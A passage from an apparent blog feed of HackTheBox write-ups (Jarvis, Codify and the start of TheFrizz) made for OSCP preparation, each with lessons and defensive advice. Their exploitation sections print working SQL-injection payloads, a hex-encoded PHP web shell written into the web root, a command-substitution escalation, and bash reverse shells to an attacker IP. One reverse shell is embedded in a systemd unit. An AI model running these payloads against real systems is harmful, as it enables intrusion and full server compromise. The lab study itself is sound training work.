<p>From there, I replaced the test command with a bash reverse shell payload, sent the request through Burp, and caught the callback on my listener.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ce0c882d-9c4d-46c2-8bae-4529d3f27b00.png" alt="" style="display:block;margin:0 auto" />

<p>That gave me an initial shell as:</p>
<pre><code class="language-bash">www-data
</code></pre>
<p>Once connected, I upgraded the shell to a more usable interactive TTY so that local enumeration and privilege escalation would be easier to manage.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3cc4cd11-e3c8-4b1a-aee8-84a67eb3a54b.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/92b93b6e-2efd-46ae-ae35-b9acd79f1fd7.png" alt="" style="display:block;margin:0 auto" />

<p>At that point, the web exploitation phase was complete. I had gone from a single injectable URL parameter to code execution on the Linux host. The next objective was to move from the web server context to a more privileged user.</p>
<hr />
<h1>4. <strong>Privilege Escalation</strong></h1>
<h3><strong>Escalating from www-data to pepper</strong></h3>
<p>Once I had an interactive shell as <code>www-data</code>, the first thing I needed to determine was whether this low-privileged service account had any special local rights that could be abused. On Linux, one of the quickest and most valuable checks in that situation is to inspect <strong>sudo permissions</strong>, because misconfigured sudo rules often provide a direct path to another user or even to root.</p>
<p>So I ran:</p>
<pre><code class="language-bash">sudo -l
</code></pre>
<p>The reason for this check is simple: <code>sudo -l</code> tells me what commands the current user is allowed to run via sudo and under which user context those commands execute. If a low-privileged account can run a script or binary as another user without a password, that immediately becomes a strong privilege escalation candidate.</p>
<p>In this case, the output showed that <code>www-data</code> could run the following Python script as the user <strong>pepper</strong> with <strong>NOPASSWD</strong>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e1311719-aec9-4878-ad46-a37ae6b3b91f.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">/var/www/Admin-Utilities/simpler.py
</code></pre>
<p>That result gave me a clear next objective:</p>
<blockquote>
<p>“Figure out what this script does, how it handles input, and whether I can abuse it to execute commands as pepper.”</p>
</blockquote>
<p>When I reviewed the script, I found the core issue quickly. The script accepted user input that was supposed to represent an IP address, performed some blacklist-style filtering, and then passed the input into a system call:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d5f2c085-c324-40f6-bdd3-ef696421cafc.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-python">os.system('ping ' + command)
</code></pre>
<p>That is the real vulnerability. The danger is not simply that the script runs <code>ping</code>. The danger is that it builds a shell command using unsafely handled user input and then executes that string through <code>os.system()</code>. Once input is evaluated by a shell, all of the shell’s parsing rules come into play.</p>
<p>The script’s author had attempted to block dangerous characters such as <code>&amp;</code>, <code>;</code>, and similar metacharacters. But blacklist filtering is weak by nature because it usually only blocks the payloads the developer thought of. Attackers only need one syntax path that was missed.</p>
<p>In this case, the script did not account for <strong>command substitution</strong>, which uses the syntax:</p>
<pre><code class="language-bash">$(command)
</code></pre>
<p>That matters because the shell evaluates the contents of <code>$(...)</code> before finishing the rest of the command. So even if obvious separators like <code>;</code> are blocked, command substitution may still result in arbitrary execution.</p>
<p>To test that, I ran the script as pepper and supplied:</p>
<pre><code class="language-bash">$(/bin/bash)
</code></pre>
<p>The command looked like this:</p>
<pre><code class="language-bash">sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
</code></pre>
<p>When the script prompted for an IP, I entered:</p>
<pre><code class="language-bash">$(/bin/bash)
</code></pre>
<p>This worked because the shell interpreted the substitution before carrying out the intended <code>ping</code> command. As a result, I obtained a shell as:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5ab51956-f37f-4714-94aa-eb50d82088f2.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">pepper
</code></pre>
<p>That completed the first privilege escalation step. I had moved from the low-privileged web account <code>www-data</code> to a real local user account, which significantly expanded the chances of reaching root.</p>
<h3><strong>Escalating from pepper to root</strong></h3>
<p>Now that I had a shell as <code>pepper</code>, the next goal was to identify any local privilege escalation path that would elevate me to root. On Linux, one of the most reliable first checks is to enumerate <strong>SUID binaries</strong>.</p>
<p>SUID stands for Set User ID. When a binary has the SUID bit set and is owned by root, it executes with root’s privileges regardless of which user launched it. That is not automatically vulnerable, but it does mean every SUID binary deserves close attention. If it can be manipulated in an unsafe way, it can become a direct path to full compromise.</p>
<p>To enumerate SUID binaries, I ran:</p>
<pre><code class="language-bash">find / -type f -perm -4000 2&gt;/dev/null
</code></pre>
<p>This command searches the filesystem for files with the SUID bit enabled while suppressing permission-denied noise. Most of the returned results were standard and expected. But one entry stood out immediately:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b6a3aa8f-2d90-4358-8360-9b5f9781785d.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">/bin/systemctl
</code></pre>
<p>That is unusual.</p>
<p>The reason this caught my attention right away is that <code>systemctl</code> is a powerful administrative tool used to manage services. Seeing it configured as SUID is a major red flag because service management is closely tied to root-level control of the system. If an unprivileged user can influence systemd service behavior through a SUID <code>systemctl</code>, there is a strong chance they can turn that into arbitrary command execution as root.</p>
<p>At that point, my reasoning became:</p>
<blockquote>
<p>“This is not a standard SUID binary. Before trying random things, check whether there is already a known abuse path for it.”</p>
</blockquote>
<p>For that, I referenced <strong>GTFOBins</strong>, which is one of the best resources for understanding how legitimate binaries can be abused in privilege escalation scenarios. GTFOBins confirmed that <code>systemctl</code> can indeed be leveraged to gain code execution as root when misconfigured this way.</p>
<p>The abuse path was clear: create a malicious service unit whose <code>ExecStart</code> launches a reverse shell, then use <code>systemctl</code> to link and start that service. If the SUID configuration causes <code>systemctl</code> to operate with elevated privileges, the service will run as root.</p>
<p>So I created the following service file in my home directory:</p>
<pre><code class="language-ini">[Service]
Type=oneshot
ExecStart=/bin/bash -c "bash -i &gt;&amp; /dev/tcp/10.10.15.205/9001 0&gt;&amp;1"
[Install]
WantedBy=multi-user.target
</code></pre>
<p>There are two important ideas here:</p>
<ol>
<li><p>The <code>ExecStart</code> line is what matters most. That is the command systemd will execute when the service runs.</p>
</li>
<li><p>Because the service is being managed through a SUID <code>systemctl</code>, the expectation is that it will be started with root’s privileges.</p>
</li>
</ol>
<p>After creating the service file, I linked and started it with:</p>
<pre><code class="language-bash">systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service
</code></pre>
<p>On my attacking machine, I had a listener waiting for the reverse shell. As soon as the service started, the target connected back, and I landed in a shell as:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6542cffc-19ea-452e-b70e-bcbd47e798d0.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">root
</code></pre>
<p>That completed the final privilege escalation step. From initial web access as <code>www-data</code>, I had moved to <code>pepper</code>, and from there to full root compromise through a misconfigured SUID <code>systemctl</code>.</p>
<hr />
<h1>5. <strong>Lessons Learned</strong></h1>
<h3><strong>1. Automation is useful, but it is not understanding</strong></h3>
<p>This machine drove home a point I already knew intellectually but had not fully felt until here: tools are only as useful as the operator behind them. My first instinct was to point <code>sqlmap</code> at the target and let it do the work. The moment the filtering interfered with that, I had to fall back on my own understanding of how SQL injection works. That forced me to think through column counts, union-based extraction, version identification, file reads, and file writes step by step.</p>
<p>That is exactly the kind of experience that builds real skill. On a box like this, understanding the vulnerability was far more valuable than knowing the right sqlmap flags.</p>
<h3><strong>2. A weak defensive control can still change the attacker’s workflow</strong></h3>
<p>The target’s blocking behavior did not actually stop exploitation, but it did disrupt the easiest path. That is worth noting because even an imperfect defensive measure can slow an attacker down or force them into a noisier or more manual workflow.</p>
<p>The filter here was not strong enough to prevent exploitation, but it was strong enough to push me out of automation and into patient manual testing. That alone changed the shape of the engagement.</p>
<h3><strong>3. SQL injection should always be evaluated for impact beyond data theft</strong></h3>
<p>It is easy to think of SQL injection in terms of dumping tables, stealing hashes, or extracting application data. Jarvis was a good reminder that the impact can be much worse when the database account has additional privileges. Once I confirmed that the backend had file write privileges, the vulnerability stopped being just a database issue and became a path to full server-side code execution.</p>
<p>That is a much more serious outcome, and it is exactly why every SQL injection should be evaluated not just for disclosure, but for escalation potential.</p>
<h3><strong>4. Blacklist filtering is a bad habit</strong></h3>
<p>The Python script used a blacklist to try to prevent command injection, but blacklist approaches are fragile by design. They depend on the developer predicting every dangerous input pattern ahead of time. Attackers do not need every dangerous pattern to work. They only need one.</p>
<p>In this case, the filter missed command substitution, and that single oversight was enough to turn a helper script into a privilege escalation path. This is a perfect example of why input should be handled safely by design rather than “sanitized” through guesswork.</p>
<h3><strong>5. Unusual SUID binaries should always be treated as suspicious</strong></h3>
<p>When I enumerated SUID files, <code>systemctl</code> stood out immediately because it simply does not belong there in a safe configuration. That kind of anomaly is exactly what local privilege escalation often hinges on. A good reminder here is that privilege escalation is not always about finding some exotic exploit. Sometimes it is just about recognizing that a powerful administrative binary has been given the wrong permissions.</p>
<p>That kind of misconfiguration is quiet, simple, and devastating.</p>
<hr />
<h1>6. <strong>Defensive Insight</strong></h1>
<h3><strong>1. Parameterized queries would have stopped the initial compromise</strong></h3>
<p>The entire attack chain began because user-supplied input was not handled safely in a SQL query. If the application had used prepared statements with proper parameterization, the SQL injection would not have existed in the first place. That single development decision would have cut off the entire path before it started.</p>
<h3><strong>2. Database accounts should follow least privilege</strong></h3>
<p>Even after the injection existed, the damage became much worse because the database user had the <strong>FILE</strong> privilege. That is not something a typical web application account should have unless there is a very specific and well-justified operational need. Restricting that privilege would not have fixed the injection, but it would have greatly reduced the impact by removing the path to web shell placement.</p>
<h3><strong>3. Temporary blocking is not the same as robust protection</strong></h3>
<p>The filtering on the target interfered with automation, but it did not actually protect the application from a patient manual attacker. That is an important distinction. Security controls that only disrupt tooling but do not address the underlying flaw can create a false sense of safety. The real fix is not to make exploitation slightly more annoying. The real fix is to remove the vulnerability itself.</p>
<h3><strong>4. Shelling out with user input is dangerous</strong></h3>
<p>The privilege escalation path from <code>www-data</code> to <code>pepper</code> existed because the Python script passed user-controlled input into <code>os.system()</code>. That practice is fundamentally risky. If a program must execute another process, it should do so using safer APIs that avoid shell interpretation and treat arguments as structured data rather than as a command string.</p>
<p>The difference between secure execution and shell evaluation is often the difference between normal functionality and full compromise.</p>
<h3><strong>5. SUID permissions should be audited carefully</strong></h3>
<p>The final escalation to root was only possible because <code>systemctl</code> had been given SUID permissions. That should never survive a competent security review. SUID binaries deserve periodic auditing specifically because a single bad entry in that list can be enough to hand an attacker full root access.</p>
<p>Routine permission reviews and baseline comparisons would make this sort of misconfiguration far easier to catch before deployment.</p>
<hr />
<h1><strong>Useful Commands</strong></h1>
<h3><strong>Directory Enumeration Against the Web Servers</strong></h3>
<pre><code class="language-bash">ffuf -u http://10.129.229.137/FUZZ -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p>This helped me quickly identify whether the web application exposed any useful files or directories beyond the default landing pages.</p>
<h3><strong>Manual SQLi Column Count Test</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--
</code></pre>
<p>I used this to determine that the vulnerable query expected <strong>7 columns</strong>, which was necessary before moving on to more meaningful <code>UNION SELECT</code> payloads.</p>
<h3><strong>Database Version Identification</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--
</code></pre>
<p>This confirmed the backend was <strong>MySQL/MariaDB</strong>, which shaped the rest of the exploitation strategy.</p>
<h3><strong>Checking Database File Privileges</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--
</code></pre>
<p>This told me whether the database account could write files to disk. A result of <code>Y</code> meant that writing a web shell was possible.</p>
<h3><strong>Reading Files Through SQLi</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--
</code></pre>
<p>I used <code>load_file()</code> first to confirm file read access and later to validate the correct web root by reading known web assets.</p>
<h3><strong>Hex-Encoding the PHP Web Shell</strong></h3>
<pre><code class="language-bash">echo '&lt;?php system($_GET['cmd']); ?&gt;' | xxd -p | tr -d '\n'
</code></pre>
<p>This converted the PHP payload into a format that was easier to place into the SQL write query.</p>
<h3><strong>Writing the PHP Shell to the Web Root</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--
</code></pre>
<p>This was the step that turned SQL injection into remote code execution by placing a PHP shell inside the web root.</p>
<h3><strong>Testing Command Execution</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/neo.php?cmd=id
</code></pre>
<p>This verified that the file had been written correctly and that the web server was executing the PHP shell.</p>
<h3><strong>Enumerating SUID Binaries</strong></h3>
<pre><code class="language-bash">find / -type f -perm -4000 2&gt;/dev/null
</code></pre>
<p>This identified SUID binaries available to <code>pepper</code> and revealed the unusual and highly exploitable <code>systemctl</code> entry.</p>
<h3><strong>Linking and Starting the Malicious Service</strong></h3>
<pre><code class="language-bash">systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service
</code></pre>
<p>These commands caused the malicious service file to be recognized and started, resulting in a root shell.</p>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #21 
HTB Write-Up Codify]]></title><description><![CDATA[1. Target Overview

Machine Name: Codify

Platform: HackTheBox

Operating System: Linux

Target IP: 10.129.15.49

Objective: Gain user and root access


Codify was a well-rounded machine that started ]]></description><link>https://www.hack2harden.com/oscp-prep-21-htb-write-up-codify</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-21-htb-write-up-codify</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Mon, 06 Apr 2026 08:42:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ad42182c-47f2-4808-b018-0a4c8b8a92a8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1><strong>1. Target Overview</strong></h1>
<ul>
<li><p><strong>Machine Name:</strong> Codify</p>
</li>
<li><p><strong>Platform:</strong> HackTheBox</p>
</li>
<li><p><strong>Operating System:</strong> Linux</p>
</li>
<li><p><strong>Target IP:</strong> 10.129.15.49</p>
</li>
<li><p><strong>Objective:</strong> Gain user and root access</p>
</li>
</ul>
<p>Codify was a well-rounded machine that started off with a fairly straightforward web application exploit that quickly led to remote code execution. While the initial foothold came easily, the real value of this box came from the privilege escalation phase, which revolved around a subtle but very realistic Bash scripting mistake involving unquoted variables.</p>
<h3><strong>Tools Used</strong></h3>
<ul>
<li><p>RustScan</p>
</li>
<li><p>Nmap</p>
</li>
<li><p>FFUF</p>
</li>
<li><p>Searchsploit</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>John the Ripper</p>
</li>
<li><p>Pspy</p>
</li>
<li><p>Python HTTP Server</p>
</li>
<li><p>Bash</p>
</li>
</ul>
<hr />
<h1><strong>2. Enumeration</strong></h1>
<h3><strong>Nmap Scan</strong></h3>
<pre><code class="language-bash">rustscan -a 10.129.15.49 -b 7000
</code></pre>
<p>As always, I started with a port scan to understand the attack surface. The results showed three open ports: SSH on 22, an Apache web server on port 80, and another web service running on port 3000 backed by Node.js Express.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/918e6476-36b7-4d95-a079-85ffec1087fe.png" alt="" style="display:block;margin:0 auto" />

<p>One thing that immediately stood out was a redirect to <code>http://codify.htb</code>. That told me I needed to add the domain to my <code>/etc/hosts</code> file before continuing. From there, I made a conscious decision to focus on the web applications first since they typically provide the largest attack surface, while keeping SSH in mind in case credentials surfaced later.</p>
<hr />
<h3><strong>Web Enumeration</strong></h3>
<p>I began by checking for additional subdomains since the application was already using a virtual host.</p>
<pre><code class="language-bash">ffuf -u http://10.129.15.49 -H "Host: FUZZ.codify.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 20
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a25e856c-56ee-47d4-894b-8c632607b052.png" alt="" style="display:block;margin:0 auto" />

<p>This didn’t return anything useful, so I moved on to directory brute forcing:</p>
<pre><code class="language-bash">ffuf -u http://codify.htb/FUZZ -w /usr/share/wordlists/elite.txt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e7bc8552-605c-4606-867d-30180d35ab34.png" alt="" style="display:block;margin:0 auto" />

<p>While this was running in the background, I manually browsed the application on port 80. The main page presented a Node.js code execution interface where users could input and run JavaScript. That immediately stood out—any system that executes user input, even in a “sandbox,” deserves a closer look.</p>
<p>Clicking into the <code>/about</code> page turned out to be the key step here. It revealed that the application used the <strong>vm2 library version 3.9.16</strong> for sandboxing. That was a huge find and shifted my focus toward researching that specific component.</p>
<hr />
<h1><strong>3. Exploitation</strong></h1>
<h3><strong>Web Application Analysis</strong></h3>
<p>With the vm2 version disclosed, I used <code>searchsploit</code> to check for known vulnerabilities:</p>
<pre><code class="language-bash">searchsploit vm2
searchsploit -x 51898.c
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/383e2e38-6fd6-458e-bae9-ce45aae383c2.png" alt="" style="display:block;margin:0 auto" />

<p>I found a sandbox escape affecting the exact version in use. The exploit abused allowed functionality within vm2 to break out of the sandbox and execute system commands.</p>
<p>To verify execution, I tested a simple command:</p>
<pre><code class="language-bash">pwd
</code></pre>
<p>The output returned <code>/home/svc</code>, confirming that I had achieved remote code execution.</p>
<hr />
<h2><strong>Foothold</strong></h2>
<p>Once I confirmed RCE, I moved to establish a reverse shell. I hosted a payload on my machine:</p>
<pre><code class="language-bash">echo 'bash -i &gt;&amp; /dev/tcp/10.10.15.205/7777 0&gt;&amp;1' &gt; shell.sh
python3 -m http.server 80
</code></pre>
<p>Then set up a listener:</p>
<pre><code class="language-bash">nc -nvlp 7777
</code></pre>
<p>After triggering the payload through the web interface,</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ff0e1487-b2a8-4cae-8256-f0848c2e6011.png" alt="" style="display:block;margin:0 auto" />

<p>I received a shell as the <code>svc</code> user. I upgraded it immediately to make it interactive:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a882cf07-3afd-4c3f-9e09-0c57acaaa92a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
</code></pre>
<hr />
<h1><strong>4. Privilege Escalation</strong></h1>
<h3><strong>Initial Enumeration</strong></h3>
<p>I began with basic checks:</p>
<pre><code class="language-bash">whoami
sudo -l
</code></pre>
<p>There were no sudo privileges for <code>svc</code>, so I looked for other users on the system:</p>
<pre><code class="language-bash">grep "sh$" /etc/passwd
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/65e180bc-438c-45c6-95ee-fb5c5fd1d933.png" alt="" style="display:block;margin:0 auto" />

<p>I identified <code>joshua</code> and <code>root</code>, which suggested that lateral movement would likely be required.</p>
<hr />
<h3><strong>Finding Credentials</strong></h3>
<p>Following my checklist, I explored the web directory:</p>
<pre><code class="language-bash">cd /var/www/
</code></pre>
<p>I searched for files that might contain credentials:</p>
<pre><code class="language-bash">find . -type f -name "*.db" 2&gt;/dev/null
find . -type f -name "*conf*" 2&gt;/dev/null
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9cab69dd-b4d5-4941-871d-42d82f38ce14.png" alt="" style="display:block;margin:0 auto" />

<p>This led me to <code>/var/www/contact/tickets.db</code>, which contained a bcrypt hash for the <code>joshua</code> user.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4fb08225-04f5-4af6-8cde-cb0ac249a034.png" alt="" style="display:block;margin:0 auto" />

<p>I cracked the hash using John:</p>
<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
</code></pre>
<p>The password was <code>spongebob1</code>. I tested it against SSH:</p>
<pre><code class="language-bash">ssh joshua@codify.htb
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a611e224-f691-4c55-8e5a-b358bfff00fa.png" alt="" style="display:block;margin:0 auto" />

<p>The login succeeded, confirming password reuse.</p>
<hr />
<h3><strong>Privilege Escalation Vector</strong></h3>
<p>Once logged in as <code>joshua</code>, I checked sudo permissions:</p>
<pre><code class="language-bash">sudo -l
</code></pre>
<p>I discovered that I could run <code>/opt/scripts/mysql-backup.sh</code> as root. This immediately stood out as a potential escalation path, so I examined the script closely.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6a895eb7-d7ea-4854-b536-db407966cb20.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3><strong>Root Exploit</strong></h3>
<p>The script contained a flawed password check:</p>
<pre><code class="language-bash">if [[ \(DB_PASS == \)USER_PASS ]]
</code></pre>
<p>Because the variables were not quoted, Bash interpreted the comparison as pattern matching rather than a strict equality check. This allowed me to bypass authentication by entering:</p>
<pre><code class="language-bash">*
</code></pre>
<p>Additionally, the script passed the root password to <code>mysqldump</code> via a command-line argument, exposing it in running processes. To capture this, I used <code>pspy</code>:</p>
<pre><code class="language-bash">wget http://10.10.15.205/pspy
chmod +x pspy
./pspy
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9b6c8363-cf36-4d9a-bb71-3afb33ee3f81.png" alt="" style="display:block;margin:0 auto" />

<p>In another session, I executed the script:</p>
<pre><code class="language-bash">sudo /opt/scripts/mysql-backup.sh
</code></pre>
<p>After entering <code>*</code>, the script ran successfully. Monitoring <code>pspy</code>, I observed the root password in plaintext within the process arguments.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c3dd414f-e11f-45e8-bdc3-9ce7f804c30b.png" alt="" style="display:block;margin:0 auto" />

<p>I then switched to root:</p>
<pre><code class="language-bash">su root
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0ca882f4-d668-4aef-b520-15cb995bfe35.png" alt="" style="display:block;margin:0 auto" />

<p>The system was fully compromised.</p>
<hr />
<h1><strong>5. Lessons Learned</strong></h1>
<p><strong>1. Version Disclosure Enables Targeted Exploitation</strong></p>
<p>Exposing the exact version of vm2 made it trivial to identify a working exploit. This reinforced how dangerous version disclosure can be in real environments.</p>
<p><strong>2. Third-Party Libraries Are Part of the Attack Surface</strong></p>
<p>The vulnerability wasn’t in the application itself, but in a dependency. This highlights the importance of auditing and updating all components, not just core code.</p>
<p><strong>3. Unquoted Variables in Bash Can Break Security Logic</strong></p>
<p>Failing to quote variables led to pattern matching instead of strict comparison, completely bypassing authentication.</p>
<p><strong>4. Process Arguments Can Leak Sensitive Data</strong></p>
<p>Passing the root password via command-line arguments exposed it to any user capable of monitoring processes, making privilege escalation trivial.</p>
<hr />
<h1><strong>6. Defensive Insight</strong></h1>
<p><strong>1. Avoid Exposing Internal Version Information</strong></p>
<p>Applications should not disclose library versions, especially when those components are security-critical.</p>
<p><strong>2. Keep Dependencies Patched and Updated</strong></p>
<p>Outdated libraries—particularly sandboxing mechanisms—can completely undermine application security.</p>
<p><strong>3. Always Quote Variables in Bash Scripts</strong></p>
<p>"$VAR"<br />Proper quoting ensures comparisons behave as intended and prevents pattern-matching abuse.</p>
<p><strong>4. Never Pass Credentials via Command-Line Arguments</strong></p>
<p>Sensitive data should be handled securely through protected configurations or environment variables, not exposed in process listings.</p>
<hr />
<h1><strong>Useful Commands</strong></h1>
<h3><strong>Port Scanning</strong></h3>
<pre><code class="language-bash">rustscan -a 10.129.15.49 -b 7000
</code></pre>
<h3><strong>Subdomain Enumeration</strong></h3>
<pre><code class="language-bash">ffuf -u http://10.129.15.49 -H "Host: FUZZ.codify.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 20
</code></pre>
<h3><strong>Directory Brute Force</strong></h3>
<pre><code class="language-bash">ffuf -u http://codify.htb/FUZZ -w /usr/share/wordlists/elite.txt
</code></pre>
<h3><strong>Exploit Lookup</strong></h3>
<pre><code class="language-bash">searchsploit vm2
</code></pre>
<h3><strong>Hash Cracking</strong></h3>
<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<h3><strong>Process Monitoring</strong></h3>
<pre><code class="language-bash">./pspy
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #20
HTB Write-Up TheFrizz]]></title><description><![CDATA[1. Target Overview
Machine Name: TheFrizzPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.232.168Objective: Gain initial access to the domain, pivot through multiple user contexts, and f]]></description><link>https://www.hack2harden.com/oscp-prep-20-htb-write-up-thefrizz</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-20-htb-write-up-thefrizz</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sun, 05 Apr 2026 05:18:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ec129cf3-76e2-49c6-9d66-da4d6e4ab955.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> TheFrizz<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.232.168<br /><strong>Objective:</strong> Gain initial access to the domain, pivot through multiple user contexts, and fully compromise the environment by abusing Group Policy permissions.</p>
<p>TheFrizz ended up being one of the most realistic Active Directory boxes I have worked through so far. It felt like a layered environment where progress came from paying attention, understanding Kerberos behavior, hunting for credentials in the right places, and pivoting. What I liked most about it was that each stage naturally led into the next. The web server gave me the first foothold, that foothold exposed credentials, those credentials led to a real domain user, and from there the box shifted into a much more AD-focused exercise that finished with a very instructive GPO abuse attack.</p>
<h2>Tools Used</h2>
<ul>
<li><p>RustScan</p>
</li>
<li><p>NetExec</p>
</li>
<li><p>rpcclient</p>
</li>
<li><p>ffuf</p>
</li>
<li><p>curl</p>
</li>
<li><p>Python HTTP server</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>MySQL client</p>
</li>
<li><p>Hashcat</p>
</li>
<li><p>RustHound CE</p>
</li>
<li><p>SSH</p>
</li>
<li><p>SCP</p>
</li>
<li><p>7-Zip</p>
</li>
<li><p>grep</p>
</li>
<li><p>SharpGPOAbuse</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3>Nmap Scan</h3>
<pre><code class="language-bash">rustscan -a 10.129.232.168 -b 7000
</code></pre>
<p>As always, I started with a port scan to get the attack surface. Right away, the results looked exactly like what I would expect from a domain-connected Windows target. I saw the usual Active Directory-related services such as Kerberos, LDAP, SMB, and DNS, which immediately told me I was dealing with a domain environment and not just a standalone Windows host. At the same time, there were two other services that stood out to me right away: a web server on port 80 and SSH.</p>
<p>The presence of SSH on a Windows target was interesting because that is not always exposed, and I made a mental note that it might become useful later if I got valid credentials.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8b2e41a8-5ead-411c-a34b-8e44da0df414.png" alt="" style="display:block;margin:0 auto" />

<p>The scan also leaked the FQDN information, frizzdc.frizz.htb, which is always key early on in an AD box because it helps ground the rest of the enumeration in the correct domain context. I added it to my hosts file before going on. On AD targets, it's critical to do this first because it avoids problems later when using Kerberos-dependent tooling.</p>
<pre><code class="language-bash">echo "10.129.232.168 frizzdc.frizz.htb frizz.htb"| sudo tee -a /etc/hosts
</code></pre>
<hr />
<h3>SMB Enumeration</h3>
<pre><code class="language-bash">nxc smb 10.129.232.168 -u '' -p '' --shares
nxc smb 10.129.232.168 -u 'guest' -p '' --shares
</code></pre>
<p>My next move was to follow my normal AD checklist and begin with SMB. I wanted to know right away whether the box allowed any kind of anonymous or guest access because that can sometimes open the door to quick share enumeration or user discovery.</p>
<p>That did not happen here. Both null and guest-style authentication attempts failed. which shut down the anonymous SMB angle pretty quickly.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2b8c3bcd-4998-43dd-bbd8-9e2bcdf95200.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>RPC Enumeration</h3>
<pre><code class="language-bash">rpcclient -U "" -N 10.129.232.168
</code></pre>
<p>After SMB, I tested RPC anonymously. Just like SMB, this failed as well. The target returned <code>NT_STATUS_NOT_SUPPORTED</code>, so anonymous RPC enumeration was off the table too.</p>
<hr />
<h3>LDAP Enumeration</h3>
<p>Anonymous LDAP enumeration was also not allowed. That meant no anonymous SMB, no anonymous RPC, and no anonymous LDAP meant I was not going to build my initial foothold from a misconfigured AD service.</p>
<p>With that in mind I shifted my attention to the next attack surface: the website on port 80.</p>
<hr />
<h3>Web Enumeration</h3>
<pre><code class="language-bash">ffuf -u http://frizz.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p>I kicked off a directory fuzz and also started manually browsing the site in my browser. The website appeared to belong to an elementary school. It had school-related content, general information, and multiple links. Most of those links went nowhere, but one of them led to <strong>Gibbon LMS</strong>.</p>
<p>Once I landed on the Gibbon page, I noticed the version number right away at the bottom: <strong>25.0.00</strong>. Whenever I can identify a framework, CMS, or platform version during enumeration, I treat that as a major lead.</p>
